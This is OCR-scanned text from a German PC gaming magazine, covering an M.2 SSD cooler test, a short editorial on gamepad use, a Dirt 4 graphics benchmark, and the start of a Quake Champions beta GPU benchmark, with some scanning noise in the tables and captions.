sitzt, die einen Kühlkörper für die 
SSD im M.2-Slot unmöglich macht. 
Ein nettes Gimmick des KryoM.2 
evo ist die LED-Beleuchtung in 
orange, die über einen kleinen 
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Schalter nicht nur ein- und ausge- 
schaltet werden kann, sondern al- 
ternativ bei SSD-Aktivität flackert. 
Mit 35 Euro ist das Modell die 
teuerste (Passiv-)Kühllösung. Im 
Shop bietet Aqua Computer noch 
einen kleineren Kühlkörper für die 
KryoM.2-Platine an sowie einige 
(noch teurere) Aufsätze mit An- 
schlüssen für eine Wasserkühlung. 


Unser Testrechner 

Für den Test der M.2-Kühler haben 
wir extra ein geschlossenes System 
zusammengestellt: 


I Intel Core i5-6700K @ 4GHz 

I MSI Z270 Gaming Pro Carbon 

I 2x 8 GiByte DDRÁ-RAM 

P Powercolor Radeon RX 480 

I Sharkoon S25-V Gehäuse 

I zwei Frontlüfter, ein Hecklüfter 


Wir haben uns für einen praxis- 
nahen Aufbau entschieden. Das 
Sharkoon-Gehäuse ist gedämmt, 
sodass die Lüfter im Gehäuse kaum 
zu hören sind. Mit ihnen bekommt 
die M.2-SSD beziehungsweise de- 
ren Kühler etwas vom Luftstrom 
ab. Wir haben uns bewusst für 
zwei Frontlüfter entschieden, da 
davon die Passivkühlkörper umso 
mehr profitieren. Viele Redak- 
tionen, auch wir, testen SSDs in 
einem offenen System. Schon al- 
lein weil es sich um eine andere 
Hardware handelt, ist die Tempera- 
turentwicklung und die Lese- und 
Schreibleistung nicht mit denen 
unseren konventionellen SSD-Tests 
vergleichbar. Nun haben wir zwar 
eine Grafikkarte im System, aber 
ohne 3D-Last trägt sie hier nicht zur 
Wärmeentwicklung bei. Frühere 
Tests bestätigen, dass die Leistung 
der SSD schwanken kann, wenn 
das Gehäuse von der Grafikkarte 
ordentlich aufgeheizt ist. 


Wie wir diesmal testen 

Bereits in Ausgabe 05/2017 haben 
wir den MSI Shield einem Kurztest 
unterzogen. Die 
Website Gamers Nexus riet vom 
Shield ab, da er die SSD sogar auf- 
heizen soll, anstatt zu kühlen. MSI 
hingegen kritisierte die Testme- 
thode: Die Temperatursensoren 
zwischen SSD und Shield würden 
isolieren und somit die tatsächli- 
che Temperatur der Chips nicht 
messen können. Wir hatten daher 
an der Unterseite des M.2-Riegels 
mittels zweier Sensoren gemessen, 


amerikanische 


Vorne: Die SSD-Proba 


gn / d 


nden, eine Samsung SSD 960 Pro mit 512 GByte und eine Cor- 


sair Force Series MP500 mit 480 GByte. Hinten: Die drei getesteten Kühlvarianten. 


Der KryoM.2 micro wird mittels Klammern auf die SSD gepresst, jedoch nur bei 
einseitig bestückten Modellen. Die Corsair-SSD ist zu dick für die Klammern. 


LE 


Die PCI-E-Steckkarte KryoM.2 evo verfügt über LEDs, die wahlweise bei SSD-Zugriff 
flackern, permanent leuchten oder deaktiviert werden kónnen. 
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vorne unterm Controller und un- 
ter dem hinteren Flash-Chip. Damit 
konnten immerhin Effekte mit und 
ohne Shield gemessen werden. 
Unser Testrechner ist nahezu der- 
selbe, bis auf dass damals keine 
Frontlüfter vorhanden waren. Mit 
praxisnahen Benchmarks, die eine 
PCI-E-SSD bei weitem nicht an die 
thermische Lastgrenze bringen, 
war kein Unterschied festzustellen. 
Der Controller ist die Heizung des 
Riegels und die Sensoren haben ge- 
zeigt, dass der MSI Shield die Hitze 


auf den ganzen Riegel verteilt, also 
vom Controller auf die Speicher- 
chips umleitet, in der Summe den- 
noch die Temperatur leicht senkt. 


Spürbarer Leistungs- 


unterschied? 
Diesmal haben wir wieder unseren 
standardmäßigen Praxis-Bench- 


mark hergenommen, der eine sta- 
pelweise Skalierung von 2.500 Bil- 
dern, eine 10-GByte-Kopie und eine 
kleine Spieleinstallation vornimmt. 
Per Skript wird jeweils die benötig- 


te Zeit gemessen. Die beiden Pro- 
banten, eine Corsair Force Series 
MP500 sowie eine Samsung SSD 960 
Pro haben wir ungekühlt und mit 
dem KryoM.2 evo insgesamt fünf 
Mal dem Parkour unterzogen. Die 
Samsung-SSD hat ohne Last in etwa 
nur Umgebungstemperatur, wäh- 
rend die Corsair selbst ohne Zugriff 
mindestens 50 Grad meldet. Nun 
haben wir keine großen Leistungs- 
sprünge erwartet, auch weil der 
damalige Test des MSI Shield keine 
zeigte. Aber nun, mit einer besseren 


Corsair Force Series MP500: Sequenzielle Schreibrate 


Leider sind die KryoM.2-Modelle nur für einseitig bestückte SSDs konzipiert. Der Micro-Küh 
er sicherlich auch nicht ganz so effektiv. Auf der Evo-Platine ließ sich die Corsair zwar mont 


Kühlung und einer wärmeren SSD, 
haben wir einige Auswirkungen auf 
die gemessenen Zeiten erwartet. 
Um es kurz zu machen: Mit Kühler 
ist weder der Durchschnitt aller ge- 
messenen Zeiten noch die Schwan- 
kung dazwischen geringer. Auch 
wenn eine hitzige Corsair MP500 
mit niedrigerer Temperatur làuft, 
ist sie oder die Samsung 960 Pro da- 
mit nicht unbedingt leistungsfähi- 
ger. Die Praxismessungen mit den 
weniger effektiven Kühlkörpern 
haben wir uns daher gespart, wenn 


er konnte daher mit dem Pad nur aufgeklebt werden — mit geringerem Anpressdruck ist 
ieren, aber nicht vollstándig zuschrauben. Dennoch liegen die Pads vollstándig auf. 


Ungekühlt 


Mit KryoM.2 micro 
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Bemerkung: Mehrere Durchläufe haben gezeigt, dass die Corsair etwas Vorlaufzeit braucht, um auf ihre 
Spitze in der Schreibleistung zu kommen. Mit etwa 60 Grad startet sie den Schreibvorgang und heizt sich auf 
81 Grad auf, bis sie drosselt. Ungekühlt ist das nach etwa 50 Sekunden der Fall. 


System: Im Gegensatz zum kleinen Blech ohne Kühlrippen sorgt der KryoM.2 micro nicht nur dafür, dass die 
Leerlauf-Temperatur etwas niedriger ist, sondern auch dass die SSD unter Last nicht so schnell warm wird. Die 
Drosselung setzt erst nach über drei Minuten ein. 


Mit MSI Shield 


Mit KryoM.2 evo 
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Bemerkungen: Der MSI Shield beeinflusst die Temperatur auf dem hohen Niveau kaum, sodass die Drosse- 
lung nicht unbedingt später eintritt als ohne Wärmeleitblech. 
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Bemerkungen: Selbst mit rundum sitzenden dicken Kühlkörpern schwankt die Schreibleistung der MP500, 


obwohl die Temperatur nur um die 50-Grad-Marke schwankt. Das Höchstniveau wird zwar recht lange gehal- 


ten, eine Drosselung aber im fünfminütigen Test nicht verhindert. 


102 


PC Games Hardware | 08/17 


www.pcgameshardware.de 


M.2-SSD-Kühlung | INFRASTRUKTUR 


schon der KryoM.2 evo keinen Leis- 
tungseffekt zeigt. Sind M.2-Kühler 
damit wirkungslos? Nein, nicht un- 
bedingt. Bei unseren praktischen 
Tests handelt es sich nur um drei 
Stichproben vieler praktischer Be- 
lastungszenarien einer SSD. Nur 
weil wir mit ihnen keinen Effekt 
feststellen konnten, heißt es nicht, 
dass sich ein Kühler nicht etwa auf 
Ladezeiten im aufgeheizten System 
auswirken könnte oder in anderen 
hitzigen Fällen. Dass die Kühler 
einen Leistungseffekt haben, wo 


auch immer der in der Praxis sein 
möge, ist ersichtlich, wenn die 
SSD synthetisch mit sequenziellen 
Zugriffen befeuert wird. Um die 
beiden Modelle an ihre Grenzen zu 
bringen, haben wir sie ungekühlt 
und mit allen Kühlkörper-Kombi- 
nationen mit dem Tool Iometer 
malträtiert und dabei das Verhal- 
ten mittels HWinfo aufgezeichnet. 
Dank Klimaanlage ist die Umge- 
bungstemperatur mit 24 Grad kon- 
stant und vor jeder Befeuerung ver- 
brachte die SSD eine Viertelstunde 


ruhend im System, um sich zu akkli- 
matisieren. Die Tests haben gezeigt, 
dass sich die Kühlkórper bei syn- 
thetischen Dauerzugriffen auf die 
Lese- bzw. Schreibrate auswirken. 
Bei der Samsung 960 Pro verläuft 
die Leistung proportional zur Küh- 
lung: Mit geringerer Temperatur 
liefert sie länger Höchstleistung. 
Die Rate der Corsair MP500 aber 
neigt stärker zu Schwankungen, die 
nicht immer im Zusammenhang 
mit dem Temperaturverlauf zu ste- 


(тс) 


Һер ѕсһеіпеп. 


Samsung SSD 960 Pro: Sequenzielle Leserate 


Samsung hat bei der 960 Pro die Kupferschicht im Aufkleber an der Unterseite beworben, der die Drosselung einige Sekunden hinauszögern soll. Dabei handelt es sich nur um ein 
kleines „Trostpflaster,“ das die SSD nur geringfügig kühlen dürfte. Wir befeuern sie mit sequenziellen Lesezugriffen, die für die 960 Pro thermisch am anspruchsvollsten sind. 


Fazit Hardware 


Nur theoretisch höhere Leistung 


Wäre eine Kühlung wirklich erfor- 
derlich, wären die M.2-SSDs anders 
konzipiert worden. In der Praxis sind 
intensive Zugriffe selten und selbst 
mit thermisch bedingter Drosselung ist 
eine SSD noch immer schnell genug. 
Kühlkörper wirken sich nur selten und 
gering auf die Lese- oder Schreibraten 
aus, sodass ein Nutzer den Leistungs- 
effekt nicht spürt. 
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Bemerkung: Nach zwei Minuten mit konstanter sequenzieller Leserate über 3,5 GB/s sinkt sie und schwankt 
bei etwa 2,8 GB/s. Eigentlich ist das Beweis genug, dass eine Top-SSD wie die 960 Pro keinerlei Kühlung 
benötigt, da weder die Drosselung noch die Temperatur kritisch ist. 


Bemerkung: Der aufgeklemmte Kühlkörper verhindert in der fünfminütigen Lastphase die Drosselung 
komplett, sodass sie erst nach vielen Minuten eintreten dürfte. Ein derartig langes Lastszenario dürfte in der 


Praxis bei der hohen Datenrate kaum vorkommen. 
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den ersten 30 Sekunden auch deutlich flacher. 


Bemerkungen: Mit dem Wàrmeleitblech von MSI steigt die Temperatur schon langsamer an, sodass die 
Drosselung um etwa eine Minute verzögert wird. Verglichen mit dem ungekühlten Temperaturanstieg ist der in 


Bemerkungen: In den fünf Minuten Dauerlast erlaubt der aktuell bestmögliche M.2-Kühlkörper lediglich 
einen Anstieg der Temperatur um 10 Grad, was eine Drosselung in der Praxis zu jeder Zeit unmöglich machen 


dürfte. 
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Spiele & Software 


Raffael Vötter 
Fachbereich Konsolen ;-) 
E-Mail: rv@pcgh.de 


Kommentar 


Manchmal fühle ich mich wie ein Konso- 
lero – mit Hi-Res-Grafik! 


PC-Spieler genießen es, ihre mächtigen Ma- 
schinen auszufahren. „Konsolenspieler müssen 
draußen bleiben” steht, so scheint es, nicht nur 
an der Pforte des „PC masterrace" -Unterforums 
auf www.reddit.com. Was dabei oft vergessen 
wird, ist die Tatsache, dass viele PC-Spiele mit 
einem Gamepad viel mehr Freude bereiten als 
mit Maus und Tastatur. 


Waaaaaaas?! Yep, das ist mein voller Ernst. 
Zugegeben, wenn Kollege Phil den Hexer für 
Screenshots mit einem Pad durch die Pampa 
lenkt, muss ich den Kopf schütteln — sowas 
würde mir nie einfallen. Rennspiele wie Dirt 4 
(siehe rechts), Jump & Runs wie Yooka-Laylee 
oder 2,5D-Geballer a la Roguestormers wer- 
den mit dem klassischen PC-Besteck hingegen 
unnötig schwer und unkomfortabel. Konsolen- 
spieler führen weiterhin den „Couch-Faktor" 
an. Dieser ist im Gegensatz zum Pad-Komfort 
ein frei erfundener Pluspunkt, denn wenn ich 
auf der Couch spielen will, kann ich das auch 
mit meinem PC. Flüssig. In UHD. Dank des High- 
End-Rechners mit Gamepad. 
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* Quelle: Saturn, Top 20 vom 17.06.2017 


Codemasters | 


Dirt 4 im Techniktest 


Mit Dirt 4 schickt Codemasters Rallyfreunde er- 
neut in den Dreck. Spielerisch ist das Rennspiel 
gelungen, technisch ein wenig angestaubt. 


irt 4 kehrt nach dem simulationslastigen 

Spin-off Dirt Rally zu den eher arcadigen 
Wurzeln der Reihe zurück. Obwohl das Renn- 
spiel das jüngste Produkt aus dem Hause Code- 
masters ist, kommt in Dirt 4 nicht die technisch 
modernere Ego-Engine 4.0 zum Einsatz, sondern 
eine Vorgängerversion, die auch in Dirt Rally 
Verwendung fand - in Dirt 4 natürlich mit ei- 
nigen Verbesserungen. Auf der Habenseite un- 
terstützt Dirt 4 mit der älteren Engine-Version 
noch Multisampling-Kantenglättung. Bei der 
Ego-Engine 4.0, die in F1 2015 und F1 2016 ge- 
nutzt wird, entfällt diese zu Gunsten eines TAAs. 


Optisch ist Dirt 4 abwechslungsreich und kann 
durchaus gefallen, technisch wirkt die launige 
Raserei insgesamt jedoch etwas veraltet. Die 
seit Dirt Showdown genutzte Globale Beleuch- 
tung (siehe auch „Grafikeffekte erklärt“ ab Sei- 
te 110), Partikel- und Wettereffekte sowie die 
größtenteils hochauflösenden Texturen wissen 
zu gefallen. Beim Zuschalten der Multisample- 
Kantenglättung kommt außerdem eine Alpha- 
to-Coverage-Filterung zum Einsatz, welche die 
stark flimmeranfällige Vegetation beruhigt, im 


Gegenzug allerdings auch recht viel Leistung 
benötigt. Weniger hübsch ist der generell nicht 
sehr hohe Detailgrad, der zudem abseits der Stre- 
cken schnell abfällt, die trotz Schmankerl wie 
indirektem Licht nicht mehr taufrisch wirkende 
Beleuchtung sowie ein nicht wirklich überzeu- 
gendes Shadermodell, welches außerdem dafür 
verantwortlich ist, dass sich die Fahrzeuge nicht 
immer glaubwürdig mit der Streckengrafik ver- 
tragen. Immerhin: Das sich zunehmender Be- 
liebtheit erfreuende 21:9-Format wird anstand- 
los unterstützt und ist in Rennspielen besonders 
überzeugend, es weckt Assoziationen an eine 
Windschutzscheibe. 
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Startseite | SPIELE & SOFTWARE 


Dirt 4: 20 Grafikkarten im Leistungstest mit einer fordernden Strecke 


1.920 x 1.080, max. Details, 4x MSAA/16:1 HQ-AF - Michigan" 


Asus GTX 1080 Ti Strix OC/11G lz 107,3 (+135 %) 
Nvidia Titan X (Pascal)/1 2G Ш НВ 102,5 (+125 %) 
Gigabyte GTX 1080 G1 Gaming/8G Eg cs 84,1 (+84 %) 
Palit GTX 980 Ti Super Jetstream/6G Een 75,2 (+65 %) 
Inno 3D GTX 1070 ХЗ Ultra/BG. 66%! 70,9 (4-55 96) 
AMD Radeon R9 Fury X/4G er 69,1 (4-52 96) 
HIS R9 390X IceQ X? Turbo/BG. Xs Ex 63,6 (+39 96) 
Asus R9 390 Strix OC/8G X511 60,6 (433 96) 
MSI RX 580 Gaming X/8G [sor 57,7 (+27 %) 
Asus GTX 980 Strix/4G. Euge 56,1 (+23 96) 
Zotac GTX 1060 AMP/6G Ead 51,5 (+13 96) 
Powercolor RX 570 Red Devil/4G aw 49,3 (+8 96) 
Gigabyte RX 470 G1 Gaming/4G [EX 47,3 (+4 %) 
Palit GTX 1060 Dual/3G |a ЕШ 46,6 (4-2 96) 
MSI GTX 970 Gaming/3,5+0,5G 3g 45,6 (Basis) 
Palit GTX 780 Jetstream/3G. 3g 43,4 (-5 96) 
HIS R9 280X IceQ X? Turbo/3G [Eas 40,3 (-12 96) 
Sapphire R9 380X Nitro/4G sqm 38,2 (-16 96) 
EVGA GTX 960 SSC/4G Ems 32,5 (-29 96) 
Gigabyte GTX 770 Windforce OC/2G ВЕ 208 23,0 (-50 96) 


2.560 x 1.440, max. Details, 4« MSAA/16:1 HQ-AF - Michigan" 


Asus GTX 1080 Ti Strix OC/11G. ga 84,7 (+146 %) 
Nvidia Titan X (Pascal)/12G Egg 73,3 (+127 96) 
Gigabyte GTX 1080 G1 Gaming/8G EX 64,6 (+87 96) 
Palit GTX 980 Ti Super Jetstream/6G ëtt 56,1 (+63 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G. Eso 54,5 (+58 96) 
AMD Radeon R9 Fury X/4G wr 50,6 (4-47 96) 
HIS R9 390X IceQ X? Turbo/8G. tB 45,0 (+30 96) 
Asus R9 390 Strix OC/8G. gn 42,7 (+24 %) 
Asus GTX 980 Strix/4G XXn 42,1 (+22 96) 
MSI RX 580 Gaming X/8G [3615 40,4 (+17 96) 
Zotac GTX 1060 AMP/6G. asm 37,6 (+9 96) 
Powercolor RX 570 Red Devil/4G [32 35,3 (+2 96) 
MSI GTX 970 Gaming/3,5+0,5G ШЕ 308 34,5 (Basis) 
Palit GTX 1060 Dual/3G ЗОИ 34,4 (0 %) 
Gigabyte RX 470 G1 Gaming/4G 391m 33,7 (-2 %) 
Palit GTX 780 Jetstream/3G MEZ 31,2 (-10 96) 
HIS R9 280X IceQ X? Turbo/3G [38i 29,0 (-16 96) 
Sapphire R9 380X Nitro/AG E351] 27,5 (-20 96) 
EVGA GTX 960 SSC/4G Ш 188 23,9 (-31 96) 
Gigabyte GTX 770 Windforce OC/2G ЖЕШ 16,3 (-53 96) 


3.440 x 1.440, max. Details, 4« MSAA/16:1 HQ-AF - ,, Michigan" 


Asus GTX 1080 Ti Strix OC/11G gs 72,9 («204 %) 
Nvidia Titan X (Pascal)/12G Exe 67,3 (+180 90) 
Gigabyte GTX 1080 G1 Gaming/8G XX 55,7 («132 %) 
Palit GTX 980 Ti Super Jetstream/6G EX 47,9 (+100 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G Eun 46,5 (4-94 96) 
AMD Radeon R9 Fury X/4G En 44,1 (+84 96) 
HIS R9 390X IceQ X? Turbo/8G. EBEN 38,4 (+60 96) 
Asus R9 390 Strix OC/8G. 33r 36,2 (+51 96) 
Asus GTX 980 Strix/4G är 36,1 (+50 96) 
MSI RX 580 Gaming X/8G. Xam 34,2 (+43 96) 
Zotac GTX 1060 AMP/6G Eg 32,3 (+35 %) 
Powercolor RX 570 Red Devil/4G [38] 30,1 (+25 96) 
Gigabyte RX 470 G1 Gaming/4G [361 28,4 (+18 96) 
Palit GTX 780 Jetstream/3G Ж ШШШ 26,4 (4-10 96) 
MSI GTX 970 Gaming/3,5+0,5G MEZZ] 24,0 (Basis) 
Sapphire R9 380X Nitro/4G Eti 23,0 (-4 96) 
HIS R9 280X IceQ X? Turbo/3G В 2011 21,7 (-10 96) 
Palit GTX 1060 Dual/3G METSI] 20,0 (-17 96) 
EVGA GTX 960 SSC/4G [X981] 19,9 (-17 96) 
Gigabyte GTX 770 Windforce OC/2G HMI 12,1 (-50 96) 


3.840 х 2.160, max. Details, 4x MSAA/16:1 HQ-AF - ,, Michigan" 


Asus GTX 1080 Ti Strix OC/11G. Ee 52,2 (+168 96) 
Nvidia Titan X (Pascal)/12G. EXE 47,3 (+143 96) 
Gigabyte GTX 1080 G1 Gaming/8G E351 8 38,9 (+99 96) 
Palit GTX 980 Ti Super Jetstream/6G [3011 33,0 (+69 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G 391 32,1 (+65 96) 
AMD Radeon R9 Fury X/4G Emi 29,3 (+50 96) 
HIS R9 390X IceQ X? Turbo/8G 3311 24,8 (4-27 96) 
Asus GTX 980 Strix/4G БШШШ 24,2 (4-24 96) 
Asus R9 390 Strix OC/8G |t 23,4 (+20 96) 
MSI RX 580 Gaming X/8G [9201] 22,2 (+14 96) 
Zotac GTX 1060 AMP/6G [4911 21,6 (+11 96) 
MSI GTX 970 Gaming/3,5+0,5G Ш 81| 19,5 (Basis) 
Powercolor RX 570 Red Devil/4G ШЇ 19,3 (-1 96) 
Palit GTX 1060 Dual/3G Ж ШЙ 19,1 (-2 96) 
Palit GTX 780 Jetstream/3G Ж б 17,9 (-8 96) 
Gigabyte RX 470 G1 Gaming/4G E9161] 17,5 (-10 96) 
HIS R9 280X IceQ X? Turbo/3G 311 14,8 (-24 96) 
Sapphire R9 380X Nitro/4G Bil 14,4 (-26 96) 
EVGA GTX 960 SSC/4G EMI 13,6 (-30 96) 
Gigabyte GTX 770 Windforce OC/2G HMI 8,4 (-57 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 382.53 WHQL, Radeon Software 17.6.2 Non-WHQL, HQ-AF 
Bemerkungen: Basis ist die verbreitetste spieletaugliche Grafikkarte laut Steam Hardware Survey. Wer sich hóhere Bildraten wünscht, aktiviert CMAA — dann flimmert Dirt 4 jedoch stark. 


MiMi 2 Fps 


» Besser 


Die Performance ist prinzipiell gut, allerdings 
sind sehr hohe Details samt Multisample- 
Kantenglättung erst ab einer potenten Mittel- 
klasse-Grafikkarte wirklich genießbar. Auf das 
leistungs- sowie speicherhungrige MSAA zu ver- 
zichten fällt ob der flimmrigen Vegetation nicht 
leicht. Wer leidensfähig ist, wechselt auf den 
ebenfalls verfügbaren, ressourcenschonenden 
Postfilter CMAA. Dieser kann nichts gegen das 
Flimmern ausrichten und ist daher nur für lang- 
same Grafikkarten empfehlenswert. 


Der virtuelle Bewuchs ist im Zusammenhang 
mit der Kantenglättung dann auch der leistungs- 
kritischste Aspekt von Dirt 4. Unser per Zufall 
via Streckenbaufunktion generierter Bench- 
mark hat Worst-Case-Charakter. Allerdings sin- 
ken die Bildraten auf vielen anderen Strecken 
mit dichtem Bewuchs auf ein sehr ähnliches 
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Level. Ziert den Kurs nur wenig Grün, fallen 
die Fps deutlich höher aus. Einen brauchbaren 
Kompromiss gegenüber dem von uns gewählten 
4х MSAA stellt zweifaches Multisampling dar. 
Alternativ kann man auf Radeon-Grafikkarten 
auch die etwas feiner abtastende EQAA zuschal- 
ten, ähnliches gilt für Nvidia in Form von CSAA, 
wobei diese Kantenglättung nur auf älteren 
Geforce-GPUs bis ausschließlich der Maxwell- 
Generation zur Verfügung steht. 


Der Prozessor wird gegenüber der Grafikkarte 
deutlich geringer belastet, selbst ein Zweikerner 
(bestenfalls inklusive Hyperthreading) mit 3,0 
GHz reicht aus, um die 60-Fps-Marke zu halten. 
Rennen gegen die KI sind anspruchsvoller als 
das einsame Rasen durch die Pampa, doch auch 
hier ist ein Zweikerner samt SMT nicht überfor- 
dert. Aufseiten AMDs genügt ein FX-6350/8350 


mit 4 GHz für ähnlich gute Bildraten. Dabei 
skaliert die Engine relativ gut mit zusätzlichen 
Rechenwerken, SMT hat aber abseits von Zwei- 
kernern einen eher bremsenden Einfluss. Letz- 
teres gilt auch dann, wenn statt eines Intels eine 
Ryzen-CPU im Sockel werkelt. (pr/rv) 


FAZIT: Technisch ist das Rennspiel leicht angestaubt, spielerisch 
kann die launige Raserei jedoch gefallen. Der Anspruch kann 
zwischen Casual/Gamer und Profi gewàhlt werden und bietet 
sowohl viel Abwechslung als auch Spaß. Nicht nur Rennspiel- 
freunde dürfen zugreifen. 


Genre: Rennspiel | Web: http://www.codemasters.com/ 
game/dirt-4/ | Technik: Ego-Engine | Empfohlener PC: Core 
i5-7400/AMD Ryzen R5 1400, GTX 1060 (6 GiB)/RX 580 


(8 GiB), 8 Gigabyte RAM 
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SPIELE & SOFTWARE | Quake Champions Beta 


k 


pions Beta 


Einen ersten kurzen Blick auf die Performance haben wir bereits zum Launch der Closed Beta gewor- 


fen. Nun ist mit Custom-Matches die Reproduzierbarkeit gegeben und erlaubt genauere Benchmarks. 


it Quake Champions möchte 

Shooter-Experte id Software 
an frühere Multiplayer-Erfolge der 
alterwürdigen Quake-Reihe an- 
schließen. Dazu ist es elementar, 
die hohe Geschwindigkeit insbe- 
sondere von Quake 3 Arena sowie 
dessen direkte Eingabe und das 
Movement mit neuer Technik zu 
replizieren. Außerdem soll Quake 
Champions natürlich auch optisch 
Erinnerungen wecken ohne dabei 
jedoch tatsächlich auszusehen wie 
ein Spiel von 1999. Auf möglichst 
vielen, auch schwächeren Syste- 
men, soll Quake Champions au- 
fserdem flüssig laufen. Um diesen 
Spagat zu bewerkstelligen, nutzt 
id Software eine Engine-Mixtur: 
Für die grafische Umsetzung ist 
die Saber-3D-Engine verantwort- 
lich. Dieser Grafikmotor ist vielen 
PCSpieler wahrscheinlich cher 
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unbekannt, die bekanntesten PC- 
Titel, die auf die Technik setzen, 
sind wohl Will Rock von 2003 und 
Timeshift von 2007, doch auch die 
exklusiv für die Xbox One erschie- 
nene Halo Master Chief Collection 
nutzt die Saber-3D-Engine. Und na- 
türlich wurde der Grafikmotor seit 
2003 umfassend überarbeitet, in 
Quake Champions kommt die mitt- 
lerweile vierte Ausbaustufe zum 
Einsatz. Um Movement und ande- 
re Gameplay-spezifische Elemente 
kümmert sich die auf diese Teile 
reduzierte id-Tech. 


Oldschool, aber nicht 
veraltet 
Die etwas seltsam anmutende 


Technikkooperation geht offenbar 
auf, das schnelle Gameplay gefällt, 
das Movement und Gunplay erin- 
nert alte Hasen zudem frappierend 


an Quake 3 Arena. Allerdings ist 
Quake Champions keine direkte 
Neuauflage des Shooters, sondern 
erhielt unter anderem in Form 
der Helden-Fähigkeiten einen mo- 
dernen MOBA-Einfluss. Die Optik 
ist ansehnlich, wenn auch nichts 
Aufsehenerregendes: Die schick 
ausgeleuchteten Arenen sind mit 
hochaufösenden Texturen verse- 
hen. Die allermeisten Oberflächen 
erhalten zudem durch den sehr 
großzügigen Einsatz von Parallax- 
Occlusion-Maps optische Tiefe. Vo- 
lumetrische Effekte, Lichtstrahlen- 
bündel, Screen-Space-Reflexionen 
sowie Umgebungsverdeckung und 
sauber gefilterte Schatten runden 
den ordentlichen optischen Ge- 
samteindruck ab. Das Grafikmenü 
fällt schon in der aktuellen Closed 
Beta erfreulich umfangreich aus 
und bietet neben verschiedenen 


Darstellungsmodi, darunter auch 
eine rahmenloser Fenstermodus, 
eine Auflösungsskalierung von 25 
bis 200 Prozent, gesonderte Quali- 
tätseinstellungen für Schatten, Be- 
leuchtung, Effekte sowie Texturen, 
außerdem weitere Optionen für 
Detaillevel, Nachbearbeitung so- 
wie Antialiasing-Qualität und Tex- 
turfilterung. Der FOV-Slider reicht 
nun von minimal 100 bis maximal 
140, Standard sind die von uns ge- 
nutzten 130 Grad. 21:9-Auflösun- 
gen werden ebenfalls unterstützt 
und bieten einen nochmals vergrö- 
ßerten, horizontalen Überblick, 
allerdings skaliert das HUD bislang 
nicht korrekt, sondern verweilt im 
16:9-Format. 


Hohe Bildraten erwünscht 


Wir haben bereits zum Launch 
der Closed Beta einen Blick auf 
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Quake Champions Beta | SPIELE & SOFTWARE 


Quake Champions (Beta 10/E3-Build): 20 Grafikkarten im Leistungstest 


1.920 x 1.080, max. Details, Ingame-AA/16:1 HQ-AF - „Burial Chamber” 


EVGA GTX 1080 Ti SC2/11G EI. 249,4 (+117 96) 
Gigabyte GTX 1080 G1 Gaming/8G 6 199,6 (+73 %) 
Inno 3D GTX 1070 ХЗ Ultra/8G SE 177,7 (+54 96) 

Palit GTX 980 Ti Super Jetstream/6G MEMME 172,2 (+50 %) 
Asus GTX 980 Strix/4G EEE] 133,6 (+16 96) 
AMD Radeon R9 Fury X/4G ame 132,4 (+15 %) 
Zotac GTX 1060 AMP/6G. [mE 126,3 (+10 96) 
Palit GTX 1060 Dual/3G Xo! 118,2 (+3 %) 
MSI GTX 970 Gaming/3,5+0,5G EIS 115,1 (Basis) 
HIS R9 390X IceQ X? Turbo/8G. EIS 112,6 (-2 96) 
Asus R9 390 Strix OC/8G [oon] 109,9 (-5 96) 
Powercolor RX 580 Red Devil GS/8G 9s 107,7 (-6 96) 
Powercolor RX 570 Red Devil/4G [X8 Ex 101,9 (-11 96) 
Palit GTX 780 Jetstream/3G gs; 98,5 (-14 96) 
Gigabyte RX 470 G1 Gaming/4G [ga 97,7 (-15 96) 
HIS R9 280X IceQ X? Turbo/3G. Essi 83,8 (-27 96) 
Gigabyte GTX 770 Windforce OC/2G sm 82,3 (-28 96) 
EVGA GTX 960 SSC/4G [yat 79,8 (-31 %) 
Sapphire R9 380X Nitro/4G Xy 79,6 (-31 96) 
Asus R9 270X DC2 TOP/2G [99821 59,8 (-48 96) 


2.560 x 1.440, max. Details, Ingame-AA/16:1 HQ-AF - „Burial Chamber" 


EVGA GTX 1080 Ti 5С2/11С MEME 173,4 (+137 %) 
Gigabyte GTX 1080 G1 Gaming/8G [X5 137,8 (+88 96) 
Inno 3D GTX 1070 ХЗ Ultra/&G. 9E 117,6 (+60 96) 
Palit GTX 980 Ti Super Jetstream/6G X05! B 114,6 (+56 96) 
AMD Radeon R9 Fury X/4G Egan] 90,7 (+24 96) 
Asus GTX 980 Strix/4G Eye 86,0 (+17 96) 
Zotac GTX 1060 AMP/6G. Earn 80,1 (+9 96) 
HIS R9 390X IceQ X? Turbo/8G [Ert 75,8 (+3 %) 
Palit GTX 1060 Dual/3G Emi! 74,8 (+2 96) 
MSI GTX 970 Gaming/3,5+0,5G Xen 73,3 (Basis) 
Powercolor RX 580 Red Devil GS/8G eg] 72,9 (-1 96) 
Asus R9 390 Strix OC/8G. Sz 72,3 (-1 96) 
Powercolor RX 570 Red Devil/4G [591 67,5 (-8 96) 
Gigabyte RX 470 G1 Gaming/4G [55811 64,2 (-12 96) 
Palit GTX 780 Jetstream/3G [Sz 64,0 (-13 96) 
HIS R9 280X IceQ X? Turbo/3G ВЕ 918 55, 1 (-25 96) 
Sapphire R9 380X Nitro/AG Eri 52,5 (-28 96) 
Gigabyte GTX 770 Windforce OC/2G Ш 218 50,7 (-31 96) 
EVGA GTX 960 SSC/4G Ш 3918 49,6 (-32 %) 
Asus R9 270X DC2 TOP/2G [3211 37,8 (-48 %) 


3.440 x 1.440, max. Details, Ingame-AA/16:1 HQ-AF - „Burial Chamber" 


EVGA GTX 1080 Ti SC2/11G Eme 137,0 (+146 96) 
Gigabyte GTX 1080 G1 Gaming/8G Logg 105,6 (+89 96) 
Inno 3D GTX 1070 ХЗ Ultra/BG ВЕД 8 90,9 (+63 96) 

Palit GTX 980 Ti Super Jetstream/6G X82 88,7 (+59 96) 
AMD Radeon R9 Fury X/4G EX 71,7 (+28 96) 
Asus GTX 980 Strix/4G [etr 65,7 (+18 96) 
Zotac GTX 1060 AMP/6G [Sri 61,2 (+10 96) 
HIS R9 390X IceQ X? Turbo/8G [5558/1 58,8 (+5 96) 
Powercolor RX 580 Red Devil GS/8G [5531] 56,9 (+2 96) 
Palit GTX 1060 Dual/3G Ш 528] 56,7 (+2 96) 
Asus R9 390 Strix ОС/8С ШЕ | 56,1 (+1 96) 
